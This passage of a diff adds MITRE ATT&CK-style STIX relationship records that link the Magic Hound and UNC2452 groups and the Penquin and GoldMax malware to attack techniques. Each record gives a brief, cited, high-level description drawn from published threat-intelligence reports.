"relationship--078fb58f-0b5b-4021-8467-800893c35d08", + "type": "relationship", + "modified": "2021-04-12T20:33:02.797Z", + "created": "2021-03-10T20:32:54.398Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", + "target_ref": "attack-pattern--65013dd2-bc61-43e3-afb5-a14c4fa7437a", + "external_references": [ + { + "source_name": "IBM ITG18 2020", + "url": "https://securityintelligence.com/posts/new-research-exposes-iranian-threat-group-operations/", + "description": "Wikoff, A. Emerson, R. (2020, July 16). New Research Exposes Iranian Threat Group Operations. Retrieved March 8, 2021." + } + ], + "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) has established email accounts using fake personas for spear-phishing operations.(Citation: IBM ITG18 2020)", + "relationship_type": "uses", + "id": "relationship--1a163c8a-7a12-4cd4-813f-38f5a05ba98d", + "type": "relationship", + "modified": "2021-04-12T20:33:02.809Z", + "created": "2021-03-10T20:32:54.423Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", + "target_ref": "attack-pattern--3dc8c101-d4db-4f4d-8150-1b5a76ca5f1b", + "external_references": [ + { + "source_name": "IBM ITG18 2020", + "url": "https://securityintelligence.com/posts/new-research-exposes-iranian-threat-group-operations/", + "description": "Wikoff, A. Emerson, R. (2020, July 16). New Research Exposes Iranian Threat Group Operations. Retrieved March 8, 2021." + } + ], + "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) has compromised personal email accounts through the use of legitimate credentials and gathered additional victim information.(Citation: IBM ITG18 2020)", + "relationship_type": "uses", + "id": "relationship--32126e79-18ce-4393-a555-50aa34760da9", + "type": "relationship", + "modified": "2021-04-12T20:33:02.829Z", + "created": "2021-03-10T20:32:54.444Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", + "target_ref": "malware--d18cb958-f4ad-4fb3-bb4f-e8994d206550", + "external_references": [ + { + "source_name": "Leonardo Turla Penquin May 2020", + "url": "https://www.leonardocompany.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf", + "description": "Leonardo. (2020, May 29). MALWARE TECHNICAL INSIGHT TURLA \u201cPenquin_x64\u201d. Retrieved March 11, 2021." + } + ], + "description": "(Citation: Leonardo Turla Penquin May 2020)", + "relationship_type": "uses", + "id": "relationship--f2a29786-05d5-4566-bece-14d5c1a212c1", + "type": "relationship", + "modified": "2021-03-11T15:29:16.495Z", + "created": "2021-03-11T15:29:16.495Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--d18cb958-f4ad-4fb3-bb4f-e8994d206550", + "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", + "external_references": [ + { + "source_name": "Leonardo Turla Penquin May 2020", + "url": "https://www.leonardocompany.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf", + "description": "Leonardo. (2020, May 29). MALWARE TECHNICAL INSIGHT TURLA \u201cPenquin_x64\u201d. Retrieved March 11, 2021." + } + ], + "description": "[Penquin](https://attack.mitre.org/software/S0587) has mimicked the Cron binary to hide itself on compromised systems.(Citation: Leonardo Turla Penquin May 2020)", + "relationship_type": "uses", + "id": "relationship--6ef55051-c152-4491-a881-31ff98fb773e", + "type": "relationship", + "modified": "2021-04-09T17:31:12.386Z", + "created": "2021-03-11T16:37:06.375Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--d18cb958-f4ad-4fb3-bb4f-e8994d206550", + "target_ref": "attack-pattern--2acf44aa-542f-4366-b4eb-55ef5747759c", + "external_references": [ + { + "source_name": "Leonardo Turla Penquin May 2020", + "url": "https://www.leonardocompany.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf", + "description": "Leonardo. (2020, May 29). MALWARE TECHNICAL INSIGHT TURLA \u201cPenquin_x64\u201d. Retrieved March 11, 2021." + } + ], + "description": "[Penquin](https://attack.mitre.org/software/S0587) can use Cron to create periodic and pre-scheduled background jobs.(Citation: Leonardo Turla Penquin May 2020)", + "relationship_type": "uses", + "id": "relationship--7bd145ae-5ad2-48cc-8438-5b9ec8ed5414", + "type": "relationship", + "modified": "2021-03-11T16:52:13.976Z", + "created": "2021-03-11T16:52:13.976Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--d18cb958-f4ad-4fb3-bb4f-e8994d206550", + "target_ref": "attack-pattern--a9d4b653-6915-42af-98b2-5758c4ceee56", + "external_references": [ + { + "source_name": "Leonardo Turla Penquin May 2020", + "url": "https://www.leonardocompany.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf", + "description": "Leonardo. (2020, May 29). MALWARE TECHNICAL INSIGHT TURLA \u201cPenquin_x64\u201d. Retrieved March 11, 2021." + } + ], + "description": "[Penquin](https://attack.mitre.org/software/S0587) can execute remote commands using bash scripts.(Citation: Leonardo Turla Penquin May 2020)", + "relationship_type": "uses", + "id": "relationship--228c84a6-e6fa-45f3-9f89-36a0c95fb1e7", + "type": "relationship", + "modified": "2021-03-11T16:55:13.614Z", + "created": "2021-03-11T16:55:13.614Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--d18cb958-f4ad-4fb3-bb4f-e8994d206550", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "external_references": [ + { + "source_name": "Leonardo Turla Penquin May 2020", + "url": "https://www.leonardocompany.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf", + "description": "Leonardo. (2020, May 29). MALWARE TECHNICAL INSIGHT TURLA \u201cPenquin_x64\u201d. Retrieved March 11, 2021." + } + ], + "description": "[Penquin](https://attack.mitre.org/software/S0587) can execute the command code do_download to retrieve remote files from C2.(Citation: Leonardo Turla Penquin May 2020)", + "relationship_type": "uses", + "id": "relationship--729f4b9b-2d25-4e69-9a9b-adaa62c2ee31", + "type": "relationship", + "modified": "2021-03-12T13:56:37.043Z", + "created": "2021-03-11T16:59:40.991Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--d18cb958-f4ad-4fb3-bb4f-e8994d206550", + "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", + "external_references": [ + { + "source_name": "Leonardo Turla Penquin May 2020", + "url": "https://www.leonardocompany.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf", + "description": "Leonardo. (2020, May 29). MALWARE TECHNICAL INSIGHT TURLA \u201cPenquin_x64\u201d. Retrieved March 11, 2021." + } + ], + "description": "[Penquin](https://attack.mitre.org/software/S0587) can execute the command code do_upload to send files to C2.(Citation: Leonardo Turla Penquin May 2020)", + "relationship_type": "uses", + "id": "relationship--c92d9edc-e2a9-44e4-95ef-81632eaf14f9", + "type": "relationship", + "modified": "2021-03-16T16:54:27.840Z", + "created": "2021-03-11T18:06:46.876Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--d18cb958-f4ad-4fb3-bb4f-e8994d206550", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "external_references": [ + { + "source_name": "Leonardo Turla Penquin May 2020", + "url": "https://www.leonardocompany.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf", + "description": "Leonardo. (2020, May 29). MALWARE TECHNICAL INSIGHT TURLA \u201cPenquin_x64\u201d. Retrieved March 11, 2021." + } + ], + "description": "[Penquin](https://attack.mitre.org/software/S0587) can report the IP of the compromised host to attacker controlled infrastructure.(Citation: Leonardo Turla Penquin May 2020)", + "relationship_type": "uses", + "id": "relationship--48318986-6d46-436a-b9ff-dd2ac1ab32a2", + "type": "relationship", + "modified": "2021-03-12T13:55:09.785Z", + "created": "2021-03-12T13:55:09.785Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--d18cb958-f4ad-4fb3-bb4f-e8994d206550", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "external_references": [ + { + "source_name": "Leonardo Turla Penquin May 2020", + "url": "https://www.leonardocompany.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf", + "description": "Leonardo. (2020, May 29). MALWARE TECHNICAL INSIGHT TURLA \u201cPenquin_x64\u201d. Retrieved March 11, 2021." + } + ], + "description": "[Penquin](https://attack.mitre.org/software/S0587) can use the command code do_vslist to send file names, size, and status to C2.(Citation: Leonardo Turla Penquin May 2020)", + "relationship_type": "uses", + "id": "relationship--d0a2aa1e-a824-47b8-99a5-c2d026c9432d", + "type": "relationship", + "modified": "2021-04-09T17:28:27.596Z", + "created": "2021-03-12T14:01:37.067Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--d18cb958-f4ad-4fb3-bb4f-e8994d206550", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "external_references": [ + { + "source_name": "Leonardo Turla Penquin May 2020", + "url": "https://www.leonardocompany.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf", + "description": "Leonardo. (2020, May 29). MALWARE TECHNICAL INSIGHT TURLA \u201cPenquin_x64\u201d. Retrieved March 11, 2021." + } + ], + "description": "[Penquin](https://attack.mitre.org/software/S0587) has encrypted strings in the binary for obfuscation.(Citation: Leonardo Turla Penquin May 2020)", + "relationship_type": "uses", + "id": "relationship--fa211b49-7df8-4283-8a70-78b4b81bbba9", + "type": "relationship", + "modified": "2021-03-12T14:05:14.010Z", + "created": "2021-03-12T14:05:14.010Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--d18cb958-f4ad-4fb3-bb4f-e8994d206550", + "target_ref": "attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada", + "external_references": [ + { + "source_name": "Leonardo Turla Penquin May 2020", + "url": "https://www.leonardocompany.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf", + "description": "Leonardo. (2020, May 29). MALWARE TECHNICAL INSIGHT TURLA \u201cPenquin_x64\u201d. Retrieved March 11, 2021." + } + ], + "description": "[Penquin](https://attack.mitre.org/software/S0587) can encrypt communications using the BlowFish algorithm and a symmetric key exchanged with Diffie Hellman.(Citation: Leonardo Turla Penquin May 2020)", + "relationship_type": "uses", + "id": "relationship--9ce465d9-921b-4d6d-8863-b1ffc63f0e8e", + "type": "relationship", + "modified": "2021-04-09T17:28:27.589Z", + "created": "2021-03-12T14:10:50.038Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--dc5e2999-ca1a-47d4-8d12-a6984b138a1b", + "target_ref": "attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d", + "external_references": [ + { + "source_name": "MSTIC NOBELIUM Mar 2021", + "url": "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/", + "description": "Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM\u2019s layered persistence. Retrieved March 8, 2021." + } + ], + "description": "[UNC2452](https://attack.mitre.org/groups/G0118) has used compromised identities to access VPNs and remote access tools.(Citation: MSTIC NOBELIUM Mar 2021)", + "relationship_type": "uses", + "id": "relationship--d2113f4b-eae4-43a0-bddb-5b6c015d5bf0", + "type": "relationship", + "modified": "2021-03-12T15:58:49.257Z", + "created": "2021-03-12T15:58:49.257Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--5c747acd-47f0-4c5a-b9e5-213541fc01e0", + "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", + "external_references": [ + { + "source_name": "MSTIC NOBELIUM Mar 2021", + "url": "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/", + "description": "Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM\u2019s layered persistence. Retrieved March 8, 2021." + }, + { + "source_name": "FireEye SUNSHUTTLE Mar 2021", + "url": "https://www.fireeye.com/blog/threat-research/2021/03/sunshuttle-second-stage-backdoor-targeting-us-based-entity.html", + "description": "Smith, L., Leathery, J., Read, B. (2021, March 4). New SUNSHUTTLE Second-Stage Backdoor Uncovered Targeting U.S.-Based Entity; Possible Connection to UNC2452. Retrieved March 12, 2021." + } + ], + "description": "[GoldMax](https://attack.mitre.org/software/S0588) can spawn a command shell, and execute native commands.(Citation: MSTIC NOBELIUM Mar 2021)(Citation: FireEye SUNSHUTTLE Mar 2021)", + "relationship_type": "uses", + "id": "relationship--9818aba3-86c8-416b-ab47-dc160c80b931", + "type": "relationship", + "modified": "2021-03-12T17:29:55.590Z", + "created": "2021-03-12T16:30:52.455Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--5c747acd-47f0-4c5a-b9e5-213541fc01e0", + "target_ref": "attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada", + "external_references": [ + { + "source_name": "MSTIC NOBELIUM Mar 2021", + "url": "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/", + "description": "Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM\u2019s layered persistence. Retrieved March 8, 2021." + } + ], + "description": "[GoldMax](https://attack.mitre.org/software/S0588) has RSA-encrypted its communication with the C2 server.(Citation: MSTIC NOBELIUM Mar 2021)", + "relationship_type": "uses", + "id": "relationship--7962fea5-a94d-4bb3-b951-fb8726bc4f67", + "type": "relationship", + "modified": "2021-03-12T16:30:52.458Z", + "created": "2021-03-12T16:30:52.458Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--5c747acd-47f0-4c5a-b9e5-213541fc01e0", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "external_references": [ + { + "source_name": "MSTIC NOBELIUM Mar 2021", + "url": "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/", + "description": "Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM\u2019s layered persistence. Retrieved March 8, 2021." + }, + { + "source_name": "FireEye SUNSHUTTLE Mar 2021", + "url": "https://www.fireeye.com/blog/threat-research/2021/03/sunshuttle-second-stage-backdoor-targeting-us-based-entity.html", + "description": "Smith, L., Leathery, J., Read, B. (2021, March 4). New SUNSHUTTLE Second-Stage Backdoor Uncovered Targeting U.S.-Based Entity; Possible Connection to UNC2452. Retrieved March 12, 2021." + } + ], + "description": "[GoldMax](https://attack.mitre.org/software/S0588) has written AES-encrypted and Base64-encoded configuration files to disk.(Citation: MSTIC NOBELIUM Mar 2021)(Citation: FireEye SUNSHUTTLE Mar 2021)", + "relationship_type": "uses", + "id": "relationship--ae8e960c-3842-4dd5-abab-31d35c0fd1fd", + "type": "relationship", + "modified": "2021-03-12T17:29:55.642Z", + "created": "2021-03-12T16:30:52.466Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--5c747acd-47f0-4c5a-b9e5-213541fc01e0", + "target_ref": "attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c", + "external_references": [ + { + "source_name": "MSTIC NOBELIUM Mar 2021", + "url": "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/", + "description": "Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM\u2019s layered persistence. Retrieved March 8, 2021." + } + ], + "description": "[GoldMax](https://attack.mitre.org/software/S0588) has impersonated systems management software to avoid detection.(Citation: MSTIC NOBELIUM Mar 2021)", + "relationship_type": "uses", + "id": "relationship--f3a6ce37-9b55-481f-9dc2-8de69f77a674", + "type": "relationship", + "modified": "2021-03-15T20:30:30.159Z", + "created": "2021-03-12T16:30:52.473Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--5c747acd-47f0-4c5a-b9e5-213541fc01e0", + "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9", + "external_references": [ + { + "source_name": "MSTIC NOBELIUM Mar 2021", + "url": "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/", + "description": "Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM\u2019s layered persistence. Retrieved March 8, 2021." + } + ], + "description": "[GoldMax](https://attack.mitre.org/software/S0588) has used scheduled tasks to maintain persistence.(Citation: MSTIC NOBELIUM Mar 2021)", + "relationship_type": "uses", + "id": "relationship--005b6fd1-be80-424b-b6df-2ff88d390b1b", + "type": "relationship", + "modified": "2021-03-12T16:30:52.475Z", + "created": "2021-03-12T16:30:52.475Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--dc5e2999-ca1a-47d4-8d12-a6984b138a1b", + "target_ref": "attack-pattern--f9cc4d06-775f-4ee1-b401-4e2cc0da30ba", + "external_references": [ + { + "source_name": "MSTIC NOBELIUM Mar 2021", + "url": "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/", + "description": "Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM\u2019s layered persistence. Retrieved March 8, 2021." + } + ], + "description": "[UNC2452](https://attack.mitre.org/groups/G0118) has compromised domains to use for C2.(Citation: MSTIC NOBELIUM Mar 2021)", + "relationship_type": "uses", + "id": "relationship--2c6d4c03-30f8-4bda-be8c-dc6d4eb68bc0", + "type": "relationship", + "modified": "2021-03-12T16:34:27.537Z", + "created": "2021-03-12T16:34:27.537Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--dc5e2999-ca1a-47d4-8d12-a6984b138a1b", + "target_ref": "attack-pattern--40f5caa0-4cb7-4117-89fc-d421bb493df3", + "external_references": [ + { + "source_name": "MSTIC NOBELIUM Mar 2021", + "url": "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/", + "description": "Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM\u2019s layered persistence. Retrieved March 8, 2021." + }, + { + "source_name": "FireEye SUNSHUTTLE Mar 2021", + "url": "https://www.fireeye.com/blog/threat-research/2021/03/sunshuttle-second-stage-backdoor-targeting-us-based-entity.html", + "description": "Smith, L., Leathery, J., Read, B. (2021, March 4). New SUNSHUTTLE Second-Stage Backdoor Uncovered Targeting U.S.-Based Entity; Possible Connection to UNC2452. Retrieved March 12, 2021." + } + ], + "description": "[UNC2452](https://attack.mitre.org/groups/G0118) has acquired C2 domains through resellers.(Citation: MSTIC NOBELIUM Mar 2021)(Citation: FireEye SUNSHUTTLE Mar 2021)", + "relationship_type": "uses", + "id": "relationship--8619a26c-0c32-4fe8-b382-60a029ef9cfb", + "type": "relationship", + "modified": "2021-03-12T17:27:26.958Z", + "created": "2021-03-12T16:34:27.545Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--5c747acd-47f0-4c5a-b9e5-213541fc01e0", + "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", + "external_references": [ + { + "source_name": "MSTIC NOBELIUM Mar 2021", + "url": "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/", + "description": "Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM\u2019s layered persistence. Retrieved March 8, 2021." + }, + { + "source_name": "FireEye SUNSHUTTLE Mar 2021", + "url": "https://www.fireeye.com/blog/threat-research/2021/03/sunshuttle-second-stage-backdoor-targeting-us-based-entity.html", + "description": "Smith, L., Leathery, J., Read, B. (2021, March 4). New SUNSHUTTLE Second-Stage Backdoor Uncovered Targeting U.S.-Based Entity; Possible Connection to UNC2452. Retrieved March 12, 2021." + } + ], + "description": "[GoldMax](https://attack.mitre.org/software/S0588) can exfiltrate files over the existing C2 channel.(Citation: MSTIC NOBELIUM Mar 2021)(Citation: FireEye SUNSHUTTLE Mar 2021)", + "relationship_type": "uses", + "id": "relationship--dd06ea48-6dde-4753-8f2b-c2fb56bea4f4", + "type": "relationship", + "modified": "2021-03-12T17:03:27.485Z", + "created": "2021-03-12T16:55:09.283Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--5c747acd-47f0-4c5a-b9e5-213541fc01e0", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "external_references": [ + { + "source_name": "MSTIC NOBELIUM Mar 2021", + "url": "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/", + "description": "Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM\u2019s layered persistence. Retrieved March 8, 2021." + }, + { + "source_name": "FireEye SUNSHUTTLE Mar 2021", + "url": "https://www.fireeye.com/blog/threat-research/2021/03/sunshuttle-second-stage-backdoor-targeting-us-based-entity.html", + "description": "Smith, L., Leathery, J., Read, B. (2021, March 4). New SUNSHUTTLE Second-Stage Backdoor Uncovered Targeting U.S.-Based Entity; Possible Connection to UNC2452. Retrieved March 12, 2021." + } + ], + "description": "[GoldMax](https://attack.mitre.org/software/S0588) can download and execute additional files.(Citation: MSTIC NOBELIUM Mar 2021)(Citation: FireEye SUNSHUTTLE Mar 2021)", + "relationship_type": "uses", + "id": "relationship--bb1a7fc8-bec0-4655-bbfe-0c786e237452", + "type": "relationship", + "modified": "2021-03-12T17:03:27.428Z", + "created": "2021-03-12T16:55:09.292Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--5c747acd-47f0-4c5a-b9e5-213541fc01e0", + "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", + "external_references": [ + { + "source_name": "MSTIC NOBELIUM Mar 2021", + "url": "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/", + "description": "Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM\u2019s layered persistence. Retrieved March 8, 2021." + }, + { + "source_name": "FireEye SUNSHUTTLE Mar 2021", + "url": "https://www.fireeye.com/blog/threat-research/2021/03/sunshuttle-second-stage-backdoor-targeting-us-based-entity.html", + "description": "Smith, L., Leathery, J., Read, B. (2021, March 4). New SUNSHUTTLE Second-Stage Backdoor Uncovered Targeting U.S.-Based Entity; Possible Connection to UNC2452. Retrieved March 12, 2021." + } + ], + "description": "[GoldMax](https://attack.mitre.org/software/S0588) has used HTTPS and HTTP GET requests with custom HTTP cookies for C2.(Citation: MSTIC NOBELIUM Mar 2021)(Citation: FireEye SUNSHUTTLE Mar 2021)", + "relationship_type": "uses", + "id": "relationship--b3dbb1d8-2404-4514-8ae7-f0f58b198fb0", + "type": "relationship", + "modified": "2021-03-16T17:45:02.456Z", + "created": "2021-03-12T16:55:09.307Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--5c747acd-47f0-4c5a-b9e5-213541fc01e0", + "target_ref": "attack-pattern--29be378d-262d-4e99-b00d-852d573628e6", + "external_references": [ + { + "source_name": "MSTIC NOBELIUM Mar 2021", + "url": "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/", + "description": "Nafisi, R., Lelli, A. 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Retrieved March 12, 2021." + } + ], + "description": "[GoldMax](https://attack.mitre.org/software/S0588) will check if it is being run in a virtualized environment by comparing the collected MAC address to c8:27:cc:c2:37:5a.(Citation: MSTIC NOBELIUM Mar 2021)(Citation: FireEye SUNSHUTTLE Mar 2021)", + "relationship_type": "uses", + "id": "relationship--d7a5d884-d3d9-48c8-915f-75d29d4b259e", + "type": "relationship", + "modified": "2021-03-12T17:29:55.648Z", + "created": "2021-03-12T16:55:09.330Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--5c747acd-47f0-4c5a-b9e5-213541fc01e0", + "target_ref": "attack-pattern--f7c0689c-4dbd-489b-81be-7cb7c7079ade", + "external_references": [ + { + "source_name": "MSTIC NOBELIUM Mar 2021", + "url": "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/", + "description": "Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM\u2019s layered persistence. Retrieved March 8, 2021." + } + ], + "description": "[GoldMax](https://attack.mitre.org/software/S0588) has used decoy traffic to surround its malicious network traffic to avoid detection.(Citation: MSTIC NOBELIUM Mar 2021)", + "relationship_type": "uses", + "id": "relationship--a6a4bbf3-7a2e-46ae-877a-614bf9f81644", + "type": "relationship", + "modified": "2021-04-25T21:45:21.223Z", + "created": "2021-03-12T16:55:09.334Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--5c747acd-47f0-4c5a-b9e5-213541fc01e0", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "external_references": [ + { + "source_name": "MSTIC NOBELIUM Mar 2021", + "url": "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/", + "description": "Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM\u2019s 